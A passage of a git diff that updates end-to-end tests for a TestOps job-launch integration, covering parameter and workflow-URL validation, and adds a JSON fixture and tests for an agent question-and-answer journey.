fail('chat_testops_parameter_mismatch'); + seen.add(parameter.id); + const definition = await api(`/api/environment/${parameter.id}`); + if (strict && definition.id !== parameter.id) fail('chat_testops_parameter_mismatch'); + const known = ['operation', 'ALLURE_JOB_RUN_ID', 'ALLURE_USERNAME', 'Branch'].includes(definition.name); + parameters.push({ id: parameter.id, name: known ? definition.name : 'UNKNOWN', + value: definition.name === 'operation' && ['bootstrap', 'evaluate', 'launch-plan'].includes(parameter.value) + || definition.name === 'Branch' && parameter.value === 'refs/heads/master' ? parameter.value : 'NOT_PROJECTED' }); + } + return { ...(strict ? { schema: 'paperclip.chat-feature-testops-bootstrap-registration/v1', ...context, capturedAfterWatch: true, runnableBindingQualified: false } : {}), + status: 'observed', projectId: 1, jobId: job.id, allureJobRunId: env.ALLURE_JOB_RUN_ID, publicWorkflowMatches: publicJobUrl(job.url, env), currentRunUrlMatches: run.url === `https://github.com/paperclipai/paperclip/actions/runs/${env.GITHUB_RUN_ID}`, launchId: id(run.launchId) ? run.launchId : null, parameters, actualResult: null }; } @@ -257,7 +295,7 @@ export async function launchChatPlan(api, env, markOnce, admission) { jobId: known.jobId, caseId: known.caseId, launchId: existing[0].id, status: 'EXISTING_NO_RESEND', actualResult: null }; } await markOnce({ ...source, launchAdmission: admission, nonce, planId: known.planId, jobId: known.jobId, caseId: known.caseId }); - const parameters = [{ id: known.parameterId, value: 'evaluate' }]; + const parameters = known.parameters; await api(`/api/job/${known.jobId}`, 'PATCH', { integrationId: known.integrationId, canRun: true, parameters }); const patched = await api(`/api/job/${known.jobId}`); if (patched.id !== known.jobId || patched.type !== 'github' || !publicJobUrl(patched.url, env) || !same(patched.parameters, parameters)) fail('chat_testops_parameter_mismatch'); diff --git a/tests/runner-e2e/chat-feature-testops-api.test.mjs b/tests/runner-e2e/chat-feature-testops-api.test.mjs index a64344d25cb..6a7c5ce549a 100644 --- a/tests/runner-e2e/chat-feature-testops-api.test.mjs +++ b/tests/runner-e2e/chat-feature-testops-api.test.mjs @@ -168,21 +168,24 @@ async function fence(env = launchEnv, changes = {}, workflowChanges = {}, repoCh : url.includes('/actions/runs/') ? { ...ownRun, ...changes } : { id: 99, path: '.github/workflows/chat-feature-testops.yml', state: 'active', ...workflowChanges }) })); } -function launchServer({ wrongParameter = false, wrongAssignment = false, uncertainRun = false, integrationChange = {} } = {}) { - const calls = [], parameters = [{ id: 17, value: 'bootstrap' }]; let assigned = false, launched = false, requests = 0; +function launchServer({ wrongParameter = false, wrongAssignment = false, uncertainRun = false, integrationChange = {}, initialParameters = [{ id: 17, value: 'bootstrap' }], expectedParameters = [{ id: 17, value: 'evaluate' }], definitions = {}, jobUrl = 'https://github.com/paperclipai/paperclip/actions/workflows/chat-feature-testops.yml' } = {}) { + const calls = [], parameters = structuredClone(initialParameters); let assigned = false, launched = false, requests = 0; const api = async (route, method, body) => { calls.push({ route, method, body }); if (route.startsWith('/api/launch?')) return { totalPages: 1, content: launched ? [{ id: 10, name: `Chat feature evals · ${'1'.repeat(32)}` }] : [] }; if (route === '/api/integration/2/project/1') return { id: 2, projectId: 1, info: { type: 'github' }, disabled: false, ...integrationChange }; - if (route === '/api/environment/17') return { id: 17, name: wrongParameter ? 'OTHER_PRIVATE_PARAMETER' : 'operation' }; + if (route.startsWith('/api/environment/')) { + const id = Number(route.split('/').at(-1)); + return definitions[id] ?? { id, name: id === 17 ? wrongParameter ? 'OTHER_PRIVATE_PARAMETER' : 'operation' : 'Branch' }; + } if (route === '/api/job/7') { - if (method === 'PATCH') { assert.deepEqual(body, { integrationId: 2, canRun: true, parameters: [{ id: 17, value: 'evaluate' }] }); parameters[0].value = 'evaluate'; } - return { id: 7, type: 'github', url: 'https://github.com/paperclipai/paperclip/actions/workflows/chat-feature-testops.yml', parameters }; + if (method === 'PATCH') { assert.deepEqual(body, { integrationId: 2, canRun: true, parameters: expectedParameters }); parameters.splice(0, parameters.length, ...structuredClone(body.parameters)); } + return { id: 7, type: 'github', url: jobUrl, parameters }; } if (route === '/api/testplan/8/job') return wrongAssignment ? [{ job: { id: 70 }, testCasesCount: 1 }] : assigned ? [{ job: { id: 7, parameters }, testCasesCount: 1 }] : []; if (route === '/api/testplan/8/assign') { assert.equal(method, 'POST'); assert.deepEqual(body, { jobId: 7, selection: { inverted: false, manual: false, leafsInclude: [91] } }); assigned = true; return null; } - if (route === '/api/testplan/8/jobparameter') { assert.deepEqual(body, { jobId: 7, parameters: [{ id: 17, value: 'evaluate' }] }); return null; } + if (route === '/api/testplan/8/jobparameter') { assert.deepEqual(body, { jobId: 7, parameters: expectedParameters }); return null; } if (route === '/api/testplan/8/run') { requests++; assert.equal(method, 'POST'); if (uncertainRun) throw new Error('synthetic uncertain transport'); launched = true; return { id: 10, projectId: 1, name: body.launchName }; } return selectedApi()(route); }; @@ -390,3 +393,148 @@ test('readback stops immediately after a late GET and gives each client only the }, uploadContext, uploadSelection, uploadReceipt, { now: () => time }), /upload_unverified/); assert.equal(calls, 2); }); + +function strictBootstrapApi(patch = {}) { + const run = { id: 9, job: { id: 7, type: 'github' }, launchId: 10, url: 'https://github.com/paperclipai/paperclip/actions/runs/123', ...patch.run }; + const launch = { id: 10, projectId: 1, ...patch.launch }; + const job = { id: 7, type: 'github', url: 'https://github.com/paperclipai/paperclip/actions/workflows/chat-feature-testops.yml', + parameters: [{ id: 17, value: 'bootstrap' }, { id: 18, get value() { assert.fail('unrelated parameter value must stay unopened'); } }], ...patch.job }; + return async (route, method) => { + assert.equal(method, undefined); + if (route === '/api/jobrun/9') return run; + if (route === '/api/launch/10') return launch; + if (route === '/api/job/7') return job; + if (route === '/api/environment/17') return { id: 17, name: 'operation', ...patch.definition }; + if (route === '/api/environment/18') return { id: 18, name: 'SYNTHETIC_PRIVATE_NAME' }; + assert.fail(route); + }; +} + +test('post-watch reader binds actual current run source project launch and public workflow without claiming runnable', async () => { + const result = await bootstrapJobMetadata(strictBootstrapApi(), publicEnv, 10); + assert.equal(result.jobId, 7); assert.equal(result.runId, publicEnv.GITHUB_RUN_ID); + assert.equal(result.workflowSha, publicEnv.GITHUB_SHA); assert.equal(result.capturedAfterWatch, true); + assert.equal(result.runnableBindingQualified, false); assert.equal(result.actualResult, null); + assert.deepEqual(result.parameters[1], { id: 18, name: 'UNKNOWN', value: 'NOT_PROJECTED' }); + assert.ok(!JSON.stringify(result).includes('SYNTHETIC_PRIVATE')); +}); + +test('post-watch reader rejects stale foreign project launch source and job identity', async () => { + for (const patch of [{ run: { id: 99 } }, { run: { url: 'https://github.com/paperclipai/paperclip/actions/runs/999' } }, + { run: { launchId: 20 } }, { run: { job: { id: 7, type: 'foreign' } } }, { launch: { projectId: 2 } }, + { launch: { id: 20 } }, { job: { url: 'https://github.com/other/repo/actions/workflows/chat-feature-testops.yml' } }, + { job: { type: 'foreign' } }, { definition: { id: 99 } }]) { + await assert.rejects(bootstrapJobMetadata(strictBootstrapApi(patch), publicEnv, 10)); + } + await assert.rejects(bootstrapJobMetadata(() => assert.fail('no API'), { ...publicEnv, GITHUB_SHA: 'untrusted' }, 10)); + await assert.rejects(bootstrapJobMetadata(() => assert.fail('no API'), { ...publicEnv, ALLURE_JOB_RUN_ID: '' }, 10)); +}); + +test('post-watch reader caps parameter definitions and refuses duplicate IDs', async () => { + for (const parameters of [Array.from({ length: 5 }, (_, i) => ({ id: i + 1 })), [{ id: 17 }, { id: 17 }]]) { + await assert.rejects(bootstrapJobMetadata(strictBootstrapApi({ job: { parameters } }), publicEnv, 10)); + } +}); + + +const observedLegacyJobUrl = 'https://github.com/paperclipai/paperclip/actions?query=workflow%3A%22Chat+feature+TestOps%22'; + +test('official observed legacy and existing workflow URLs pass all three actual job consumers', async () => { + for (const url of [observedLegacyJobUrl, 'https://github.com/paperclipai/paperclip/actions/workflows/chat-feature-testops.yml', + 'https://github.com/paperclipai/paperclip/actions/workflows/99']) { + const env = { ...publicEnv, CHAT_TESTOPS_GITHUB_WORKFLOW_ID: '99' }; + const selected = await validateChatSelection(selectedApi({ '/api/job/7': { id: 7, type: 'github', url } }), env); + assert.equal(selected.caseId, 91); + const registered = await bootstrapJobMetadata(strictBootstrapApi({ job: { url } }), env, 10); + assert.equal(registered.publicWorkflowMatches, true); + const server = launchServer({ jobUrl: url }); + const launched = await launchChatPlan(server.api, launchEnv, async () => {}, await fence()); + assert.equal(launched.status, 'REQUESTED'); + assert.equal(server.requests(), 1); + } +}); + +test('official legacy URL admission rejects foreign workflow repo query credentials and fragment in all consumers', async () => { + for (const url of [observedLegacyJobUrl.replace('/paperclip/actions', '/paperclip-cloud/actions'), + observedLegacyJobUrl.replace('Chat+feature+TestOps', 'Other+workflow'), `${observedLegacyJobUrl}&extra=1`, + observedLegacyJobUrl.replace('https://github.com', 'https://user:password@github.com'), `${observedLegacyJobUrl}#extra`]) { + await assert.rejects(validateChatSelection(selectedApi({ '/api/job/7': { id: 7, type: 'github', url } }), publicEnv), /chat_testops_job_mismatch/); + await assert.rejects(bootstrapJobMetadata(strictBootstrapApi({ job: { url } }), publicEnv, 10), error => { + assert.deepEqual(failureProjection(error, 'bootstrap_context'), { stage: 'bootstrap_context', code: 'chat_testops_job_url_mismatch', httpStatus: null }); + return true; + }); + const server = launchServer({ jobUrl: url }); + await assert.rejects(launchChatPlan(server.api, launchEnv, async () => assert.fail('no mutation marker'), await fence()), /chat_testops_job_mismatch/); + assert.equal(server.calls.some(call => call.method), false); + } +}); + +test('bootstrap job predicate failures retain only distinct fixed codes and no observed values', async () => { + for (const [job, code] of [ + [{ id: 99 }, 'chat_testops_job_id_mismatch'], + [{ type: 'SYNTHETIC_PRIVATE_TYPE' }, 'chat_testops_job_type_mismatch'], + [{ parameters: undefined }, 'chat_testops_job_parameters_shape_mismatch'], + [{ parameters: null }, 'chat_testops_job_parameters_shape_mismatch'], + [{ parameters: 'SYNTHETIC_PRIVATE_PARAMETERS' }, 'chat_testops_job_parameters_shape_mismatch'], + [{ parameters: Array.from({ length: 5 }, (_, i) => ({ id: i + 1 })) }, 'chat_testops_job_parameters_limit'], + [{ url: 'https://SYNTHETIC_PRIVATE_URL.invalid/' }, 'chat_testops_job_url_mismatch'], + ]) { + await assert.rejects(bootstrapJobMetadata(strictBootstrapApi({ job }), publicEnv, 10), error => { + const projected = failureProjection(error, 'bootstrap_context'); + assert.deepEqual(projected, { stage: 'bootstrap_context', code, httpStatus: null }); + assert.ok(!JSON.stringify(projected).includes('SYNTHETIC_PRIVATE')); + return true; + }); + } +}); + + +test('launch preserves exact Branch and defaults evaluate only when operation is genuinely absent', async () => { + for (const [parameters, opId, expectedParameters] of [ + [[{ id: 19, value: 'refs/heads/master' }], undefined, [{ id: 19, value: 'refs/heads/master' }]], + [[{ id: 19, value: 'refs/heads/master' }], '', [{ id: 19, value: 'refs/heads/master' }]], + [[{ id: 17, value: 'bootstrap' }], '17', [{ id: 17, value: 'evaluate' }]], + [[{ id: 19, value: 'refs/heads/master' }, { id: 17, value: 'bootstrap' }], '17', [{ id: 19, value: 'refs/heads/master' }, { id: 17, value: 'evaluate' }]], + ]) { + const env = { ...launchEnv, CHAT_TESTOPS_OPERATION_PARAMETER_ID: opId }; + const server = launchServer({ initialParameters: parameters, expectedParameters }); + let marked = 0; + const result = await launchChatPlan(server.api, env, async () => { marked++; assert.equal(server.calls.some(call => call.method), false); }, await fence(env)); + assert.equal(result.status, 'REQUESTED'); assert.equal(server.requests(), 1); assert.equal(marked, 1); + assert.deepEqual(server.calls.filter(call => call.route === '/api/job/7' && call.method === 'PATCH')[0].body.parameters, expectedParameters); + assert.deepEqual(server.calls.filter(call => call.route === '/api/testplan/8/jobparameter')[0].body.parameters, expectedParameters); + } +}); + +test('launch refuses empty unknown duplicate wrong Branch or conflicting operation before any mutation', async () => { + const branch = { id: 19, value: 'refs/heads/master' }; + for (const [parameters, opId, definitions] of [ + [[], undefined, {}], + [[{ id: 19, value: 'refs/heads/other' }], undefined, {}], + [[branch, branch], undefined, {}], + [[branch, { id: 20, value: 'refs/heads/master' }], undefined, {}], + [[{ id: 19, value: 'refs/heads/master' }], undefined, { 19: { id: 99, name: 'Branch' } }], + [[{ id: 19, value: 'PRIVATE_PARAMETER_VALUE' }], undefined, { 19: { id: 19, name: 'PRIVATE_PARAMETER_NAME' } }], + [[branch], '17', {}], + [[branch], 'bad-id', {}], + [[{ id: 17, value: 'bootstrap' }], undefined, {}], + [[{ id: 17, value: 'bootstrap' }], '18', {}], + [[{ id: 17, value: 'launch-plan' }], '17', {}], + [[branch, { id: 17, value: 'bootstrap' }, { id: 20, value: 'refs/heads/master' }], '17', {}], + ]) { + const env = { ...launchEnv, CHAT_TESTOPS_OPERATION_PARAMETER_ID: opId }; + const server = launchServer({ initialParameters: parameters, definitions }); + await assert.rejects(launchChatPlan(server.api, env, async () => assert.fail('no mutation marker'), await fence(env)), /chat_testops_(?:identity_missing|parameter_mismatch)/); + assert.equal(server.calls.some(call => call.method), false); assert.equal(server.requests(), 0); + } +}); + +test('bootstrap projects only fixed Branch name and exact master value alongside genuine numeric ID', async () => { + const base = strictBootstrapApi({ job: { parameters: [{ id: 19, value: 'refs/heads/master' }] } }); + const result = await bootstrapJobMetadata(route => route === '/api/environment/19' ? { id: 19, name: 'Branch' } : base(route), publicEnv, 10); + assert.deepEqual(result.parameters, [{ id: 19, name: 'Branch', value: 'refs/heads/master' }]); + const hidden = strictBootstrapApi({ job: { parameters: [{ id: 19, value: 'PRIVATE_BRANCH_VALUE' }] } }); + const unknown = await bootstrapJobMetadata(route => route === '/api/environment/19' ? { id: 19, name: 'Branch' } : hidden(route), publicEnv, 10); + assert.deepEqual(unknown.parameters, [{ id: 19, name: 'Branch', value: 'NOT_PROJECTED' }]); + assert.ok(!JSON.stringify(unknown).includes('PRIVATE_BRANCH')); +}); diff --git a/tests/runner-e2e/continuation-flow.ts b/tests/runner-e2e/continuation-flow.ts index e667575ea90..89072dc005e 100644 --- a/tests/runner-e2e/continuation-flow.ts +++ b/tests/runner-e2e/continuation-flow.ts @@ -1,6 +1,7 @@ import { gradeNecessaryQuestion } from "./necessary-question.js"; import { necessaryQuestionContract } from "./continuation-cases.js"; import { validResumeQuestionForm } from "./question-resume-scoring.js"; +import { answerResumeQuestionThroughUi } from "./question-resume-ui.js"; import { gradeLifecycleBaseline, type LifecycleCheckpoint } from "./lifecycle-baseline.js"; import { lifecycleLiveCase, lifecycleLiveContinuation, gradeLifecycleNarrative } from "./lifecycle-live-cases.js"; import { prepareLegacyContinuationSkill, prepareContinuationBudget } from "./continuation-fixtures.js"; @@ -224,29 +225,7 @@ export async function runContinuationFlow(input: { expect(isSingleClaudeQuestion(set.questions), "one choice question with only the optional provider Other field").toBe(true); } else expect(set.questions, "ask only the requested next question").toHaveLength(1); const before = new Set(runs.map((r) => r.id)); - if (choice) { - expect(set.questions[0].answerMode, "choices must use radio controls").toBe("single_select"); - const options = questions[0].payload.questionSet?.questions[0]?.options - ?? questions[0].payload.questions[0]?.options ?? []; - expect(new Set(options.map((o: Row) => String(o.label).trim().toLowerCase())).size).toBeGreaterThanOrEqual(2); - await page.getByRole("radio", { name: new RegExp(`^${choice}\\b`, "i") }).last().click(); - } else { - expect(set.questions[0].answerMode, "open answers must render a text field, not a choice question").toBe("text"); - await page.getByTestId("question-text-answer-composer").last() - .locator('[contenteditable="true"],textarea').first().fill(scenario.answer); - } - // Claude may add a separate optional Other field after its choice page. - // Navigate every rendered page before submitting; do not invent an answer. - for (let index = 1; index < set.questions.length; index += 1) { - await page.getByRole("button", { name: "Next", exact: true }).last().click(); - } - await page - .getByRole("button", { - name: set.submitLabel ?? "Submit answers", - exact: true, - }) - .last() - .click(); + await answerResumeQuestionThroughUi(page, questions[0], choice ? { choice } : { text: scenario.answer }); await settle(before, false, questions[0].id); } async function reply(body: string) { diff --git a/tests/runner-e2e/fixtures/native-api-question.json b/tests/runner-e2e/fixtures/native-api-question.json new file mode 100644 index 00000000000..48084858be0 --- /dev/null +++ b/tests/runner-e2e/fixtures/native-api-question.json @@ -0,0 +1,152 @@ +{ + "phase": "initial", + "issue": { + "id": "00000000-0000-4000-8000-000000000002", + "companyId": "00000000-0000-4000-8000-000000000001", + "assigneeAgentId": "00000000-0000-4000-8000-000000000003", + "status": "in_review" + }, + "runs": [ + { + "id": "00000000-0000-4000-8000-000000000004", + "companyId": "00000000-0000-4000-8000-000000000001", + "issueId": "00000000-0000-4000-8000-000000000002", + "agentId": "00000000-0000-4000-8000-000000000003", + "status": "succeeded", + "runtimeMode": "native", + "resultJson": { + "apiToolReceipts": { + "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb": { + "state": "completed", + "digest": "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc", + "operationId": "POST /api/issues/{id}/interactions", + "result": { + "ok": true, + "status": 201, + "contentType": "application/json; charset=utf-8", + "operationId": "POST /api/issues/{id}/interactions", + "data": { + "kind": "ask_user_questions", + "status": "pending", + "continuationPolicy": "wake_assignee", + "payload": { + "version": 1, + "supersedeOnUserComment": false, + "questions": [ + { + "id": "time_choice", + "prompt": "Should the club meetup welcome note reference Morning or Afternoon?", + "selectionMode": "single", + "required": true, + "allowOther": false, + "options": [ + { + "id": "morning", + "label": "Morning" + }, + { + "id": "afternoon", + "label": "Afternoon" + } + ] + } + ], + "questionSet": { + "schema": "paperclip.question_set.v1", + "questions": [ + { + "id": "time_choice", + "prompt": "Should the club meetup welcome note reference Morning or Afternoon?", + "required": true, + "answerMode": "single_select", + "options": [ + { + "id": "morning", + "label": "Morning" + }, + { + "id": "afternoon", + "label": "Afternoon" + } + ] + } + ] + } + }, + "id": "00000000-0000-4000-8000-000000000005", + "sourceRunId": "00000000-0000-4000-8000-000000000004", + "companyId": "00000000-0000-4000-8000-000000000001", + "issueId": "00000000-0000-4000-8000-000000000002", + "createdByAgentId": "00000000-0000-4000-8000-000000000003", + "createdByUserId": null, + "idempotencyKey": "meetup-time-choice-api-v1" + } + } + } + } + } + } + ], + "interactions": [ + { + "kind": "ask_user_questions", + "status": "pending", + "continuationPolicy": "wake_assignee", + "payload": { + "version": 1, + "supersedeOnUserComment": false, + "questions": [ + { + "id": "time_choice", + "prompt": "Should the club meetup welcome note reference Morning or Afternoon?", + "selectionMode": "single", + "required": true, + "allowOther": false, + "options": [ + { + "id": "morning", + "label": "Morning" + }, + { + "id": "afternoon", + "label": "Afternoon" + } + ] + } + ], + "questionSet": { + "schema": "paperclip.question_set.v1", + "questions": [ + { + "id": "time_choice", + "prompt": "Should the club meetup welcome note reference Morning or Afternoon?", + "required": true, + "answerMode": "single_select", + "options": [ + { + "id": "morning", + "label": "Morning" + }, + { + "id": "afternoon", + "label": "Afternoon" + } + ] + } + ] + } + }, + "id": "00000000-0000-4000-8000-000000000005", + "sourceRunId": "00000000-0000-4000-8000-000000000004", + "companyId": "00000000-0000-4000-8000-000000000001", + "issueId": "00000000-0000-4000-8000-000000000002", + "createdByAgentId": "00000000-0000-4000-8000-000000000003", + "createdByUserId": null, + "idempotencyKey": "meetup-time-choice-api-v1" + } + ], + "documents": [], + "attachments": [], + "children": [], + "comments": [] +} diff --git a/tests/runner-e2e/plan-task-skills.ts b/tests/runner-e2e/plan-task-skills.ts index 2f33bf6f349..cb8638d94da 100644 --- a/tests/runner-e2e/plan-task-skills.ts +++ b/tests/runner-e2e/plan-task-skills.ts @@ -21,7 +21,7 @@ export async function preparePlanSkills(api: SkillApi, companyId: string, varian const created = await api.post<{ id: string; key: string; sourceType: string }>(`${company}/skills`, { name, slug: `eval-${name}`, markdown: content, sharingScope: "company", }); - if (created.sourceType !== "local_path") throw new Error("Planning fixture did not create an editable company skill"); + if (created.sourceType !== "managed") throw new Error("Planning fixture did not create an editable company skill"); const served = await api.get<{ content: string; editable: boolean }>(`${company}/skills/${created.id}/files?path=SKILL.md`); if (!served.editable || planHash(served.content) !== planHash(content)) throw new Error(`Served skill differs from editable source ${relative}`); skills.push({ originalKey: skill.key, key: created.key, id: created.id, sourcePath: relative, diff --git a/tests/runner-e2e/product-journeys/agent-flows.ts b/tests/runner-e2e/product-journeys/agent-flows.ts index 57a7c772565..37ccb8995bf 100644 --- a/tests/runner-e2e/product-journeys/agent-flows.ts +++ b/tests/runner-e2e/product-journeys/agent-flows.ts @@ -18,7 +18,7 @@ import { agentJourneyRuns } from "./catalog.js"; import { JourneyError, type JourneyContext, type JourneyEvidence, type TargetSession } from "./types.js"; type Row = Record; -type AgentJourney = Exclude; +type AgentJourney = Exclude; interface TaskState { currentIssue: Row & { id: string; status: string }; taskRuns: Array; comments: Row[]; interactions: Array; attachments: StoryDelivery[] } interface Options { deadlineAt: number; directory: string; capture(id: string, label: string, file: string): Promise } const active = (run: Row) => ["queued", "running"].includes(run.status); diff --git a/tests/runner-e2e/product-journeys/campaign.test.ts b/tests/runner-e2e/product-journeys/campaign.test.ts index e387eba67ab..444d2155169 100644 --- a/tests/runner-e2e/product-journeys/campaign.test.ts +++ b/tests/runner-e2e/product-journeys/campaign.test.ts @@ -46,7 +46,7 @@ async function run(options:{search?:boolean;authFailure?:boolean;onboardingFailu await writeFile(module, `import {readFile,writeFile} from 'node:fs/promises'; const identity={kind:'cloud',targetId:'qa',origin:'https://qa.example.test',commit:'${"a".repeat(40)}',cloudRelease:'v1',runtimeImage:'image',configurationHash:'config'}; let onboarded=false; -const context={identity,company:{id:'company-1',issuePrefix:'QA'},api:{origin:identity.origin,post:async()=>({id:'issue-fixture-1',identifier:'QA-1'})},startingState:'onboarding',capabilities:['company','board-user','task-write'],page:{url:()=>identity.origin+'/QA/issues/QA-1',locator:()=>({isVisible:async()=>true,screenshot:async()=>{}}) }}; +const context={identity,company:{id:'company-1',issuePrefix:'QA'},api:{origin:identity.origin,post:async()=>({id:'issue-fixture-1',identifier:'QA-1'})},startingState:'onboarding',capabilities:['company','board-user','task-write'],page:{url:()=>identity.origin+'/QA/issues/QA-1',locator:()=>({waitFor:async()=>{},isVisible:async()=>true,screenshot:async()=>{}}) }}; export const provider={version:1, async acquire(input){return { async authenticate(){${options.authFailure ? "throw {outcome:'failed',code:'login_code_expired'};" : ""}}, async onboard(evidence){${options.preAcceptanceFailure ? `evidence.onboardingPreAcceptance=${JSON.stringify(preAcceptanceEvidence)};throw {outcome:'failed',code:'onboarding_work_before_acceptance'};` : options.onboardingFailure ? "throw {outcome:'failed',code:'onboarding_failed'};" : `${options.missingArtifact ? "" : `evidence.artifact=${JSON.stringify(artifact)};`}evidence.checks.push(...['fresh-workspace','ui-connection-and-native-agent','first-task-complete','downloadable-artifact-verified'${options.missingCheck ? "" : ",'native-trace-verified'"}].map(id=>({id,passed:true})));onboarded=true;return context;`}}, diff --git a/tests/runner-e2e/product-journeys/catalog.ts b/tests/runner-e2e/product-journeys/catalog.ts index 048c39c49b1..3d40c2cdc66 100644 --- a/tests/runner-e2e/product-journeys/catalog.ts +++ b/tests/runner-e2e/product-journeys/catalog.ts @@ -5,6 +5,7 @@ export const productJourneys = [ { id: "task-create", label: "Create a task for yourself and reopen it", requires: ["company", "board-user", "task-write"], capabilities: ["tasks/create"], paid: false }, { id: "project-task-context", label: "Create a project and reopen its self-assigned task", requires: ["company", "board-user", "task-write"], capabilities: ["projects/lifecycle", "projects/task-context", "tasks/create"], paid: false }, { id: "ask-question", label: "Ask an agent a question and read its answer", requires: ["company", "board-user", "task-write", "agent"], capabilities: ["questions-and-approvals/questions"], paid: true }, + { id: "question-answer-resume", label: "Answer agent questions and verify the saved result", requires: ["company", "board-user", "task-write", "agent"], capabilities: ["questions-and-approvals/questions"], paid: true }, { id: "task-properties", label: "Assign a task to the signed-in user", requires: ["company", "board-user", "task-write", "backlog-task"], capabilities: ["tasks/properties"], paid: false }, { id: "task-search-filter", label: "Search and filter tasks, then reopen the exact saved result", requires: ["company", "board-user", "task-write"], capabilities: ["tasks/organize"], paid: false }, { id: "plan-revise-accept", label: "Revise and approve a saved Plan, then complete the task", requires: ["company", "board-user", "task-write", "agent"], capabilities: ["questions-and-approvals/plan-review"], paid: true }, diff --git a/tests/runner-e2e/product-journeys/clarification-campaign.test.ts b/tests/runner-e2e/product-journeys/clarification-campaign.test.ts new file mode 100644 index 00000000000..d4572b6323a --- /dev/null +++ b/tests/runner-e2e/product-journeys/clarification-campaign.test.ts @@ -0,0 +1,59 @@ +import { afterEach, expect, it, vi } from "vitest"; +import { mkdtemp, readFile, rm, writeFile } from "node:fs/promises"; +import path from "node:path"; +import os from "node:os"; +import { journeyRequiredChecks } from "./success-contract.js"; + +vi.mock("@playwright/test", () => ({ chromium: { launch: async () => ({ + newContext: async () => ({ setDefaultTimeout() {}, pages: () => [] }), close: async () => {}, +}) }, expect: {} })); +vi.mock("./clarification-flow.js", () => ({ runClarificationJourney: async (_context: unknown, _session: unknown, + _campaignId: unknown, evidence: { checks: Array<{ id: string; passed: boolean }> }) => { + evidence.checks.push(...journeyRequiredChecks["question-answer-resume"]!.map(id => ({ id, passed: true }))); +} })); +vi.mock("../dashboard-regenerate.js", () => ({ regenerateRunnerDashboard: async ({ outputDirectory }: { outputDirectory: string }) => { + await Promise.all(["index.html", "dashboard.html"].map(file => writeFile(path.join(outputDirectory, file), "dashboard"))); +} })); +import { launchProductJourneys } from "./launch.js"; + +const roots: string[] = []; +afterEach(async () => { process.exitCode = 0; await Promise.all(roots.splice(0).map(root => rm(root, { recursive: true, force: true }))); }); +async function campaign(count: number, omitReceipt = false) { + const root = await mkdtemp(path.join(os.tmpdir(), "clarification-collection-")); roots.push(root); + const module = path.join(root, "provider.mjs"), output = path.join(root, "report"); + const runIds = Array.from({ length: count }, (_, i) => `bound-run-${i}`); + const receipts = omitReceipt ? [] : [{ journeyId: "question-answer-resume", runIds, + usage: { runs: runIds.map(runId => ({ runId, usage: { costUsd: 0.01 } })) } }]; + await writeFile(module, ` +const identity = { kind: 'cloud', targetId: 'qa', origin: 'https://qa.example.test', commit: '${"a".repeat(40)}', cloudRelease: 'v1', runtimeImage: 'image', configurationHash: 'config' }; +const context = { identity, company: { id: 'company', issuePrefix: 'QA' }, user: { id: 'board', name: 'QA' }, + api: { origin: identity.origin }, startingState: 'recipe', capabilities: ['company', 'board-user', 'task-write', 'agent'], + agent: { id: 'agent', name: 'QA', provider: 'opencode', model: 'model', runtimeMode: 'native' }, environmentId: 'daytona', + page: { url: () => identity.origin + '/QA/issues/QA-1', locator: () => ({ waitFor: async () => {}, isVisible: async () => true, screenshot: async () => {} }) } }; +export const provider = { version: 1, async acquire() { return { + async authenticate() {}, async prepare() { return context; }, async identity() { return identity; }, + async collect() { return ${JSON.stringify(receipts)}; }, async own() {}, async release() { return 'released'; }, async stop() {} +}; } };`); + const file = path.join(root, "target.json"); + await writeFile(file, JSON.stringify({ version: 1, id: "qa", mode: "existing-cloud", adapterModule: module, + journeys: ["question-answer-resume"], executionEnvironment: "daytona", baseline: { features: {}, connections: [] }, + limits: { durationMs: 60_000, modelBudgetCents: 100, maxRuns: 3 } })); + await launchProductJourneys(["--target-config", file, "--output", output], path.resolve(import.meta.dirname, "../../..")); + return JSON.parse(await readFile(path.join(output, "normalized-results.json"), "utf8")).results[0]; +} + +it.each([1, 2, 3])("collects a successful clarification journey with %i native work runs", async count => { + const result = await campaign(count); + expect(result).toMatchObject({ status: "passed", cleanup: "passed", productJourney: { outcome: "passed" } }); + expect(result.runIds).toHaveLength(count); + expect(result.productJourney.phases).toContainEqual({ phase: "collection", outcome: "passed" }); + expect(result.usage.runs).toHaveLength(count); +}); +it.each([0, 4])("rejects a clarification collection with %i native work runs", async count => { + const result = await campaign(count); + expect(result).toMatchObject({ status: "failed", error: "paid_journey_receipt_missing" }); + expect(result.runIds).toHaveLength(count); +}); +it("rejects a passing story when its provider omits collection entirely", async () => { + expect(await campaign(1, true)).toMatchObject({ status: "failed", error: "paid_journey_receipt_missing" }); +}); diff --git a/tests/runner-e2e/product-journeys/clarification-evidence.test.ts b/tests/runner-e2e/product-journeys/clarification-evidence.test.ts new file mode 100644 index 00000000000..88c0ccb47cf --- /dev/null +++ b/tests/runner-e2e/product-journeys/clarification-evidence.test.ts @@ -0,0 +1,122 @@ +import { describe, expect, it } from "vitest"; +import { parseTargetConfig, productJourneys } from "./catalog.js"; +import { agentJourneyRunCountValid } from "./success-contract.js"; + +describe("portable clarification journey admission", () => { + it("declares the existing two-question story as a bounded native journey", () => { + expect(productJourneys.find(j => j.id === "question-answer-resume")).toMatchObject({ paid: true, requires: ["company", "board-user", "task-write", "agent"] }); + const config = { version: 1, id: "attached", mode: "existing-cloud", adapterModule: "/private/provider.mjs", + executionEnvironment: "daytona", journeys: ["question-answer-resume"], baseline: { features: {}, connections: [] }, + limits: { durationMs: 600_000, modelBudgetCents: 500, maxRuns: 3 } }; + expect(parseTargetConfig(config).journeys).toEqual(["question-answer-resume"]); + for (const maxRuns of [0, 1, 2, 4]) expect(() => parseTargetConfig({ ...config, limits: { ...config.limits, maxRuns } })).toThrow(); + }); + it("admits exactly the provider/semantic bounds without changing existing exact-count stories", () => { + for (const count of [1, 2, 3]) expect(agentJourneyRunCountValid("question-answer-resume", count)).toBe(true); + for (const count of [undefined, 0, 4, 1.5]) expect(agentJourneyRunCountValid("question-answer-resume", count)).toBe(false); + expect(agentJourneyRunCountValid("plan-revise-accept", 2)).toBe(false); + expect(agentJourneyRunCountValid("plan-revise-accept", 3)).toBe(true); + }); +}); + +import { clarificationQuestionFailure, gradeClarificationEvidence } from "./clarification-evidence.js"; +import { continuationScenario } from "../continuation-cases.js"; +import { validateRetainedRunnerResult } from "../result-validation.js"; +import { journeyRequiredChecks } from "./success-contract.js"; +import type { JourneyContext } from "./types.js"; + +type Row = Record; +const context = { 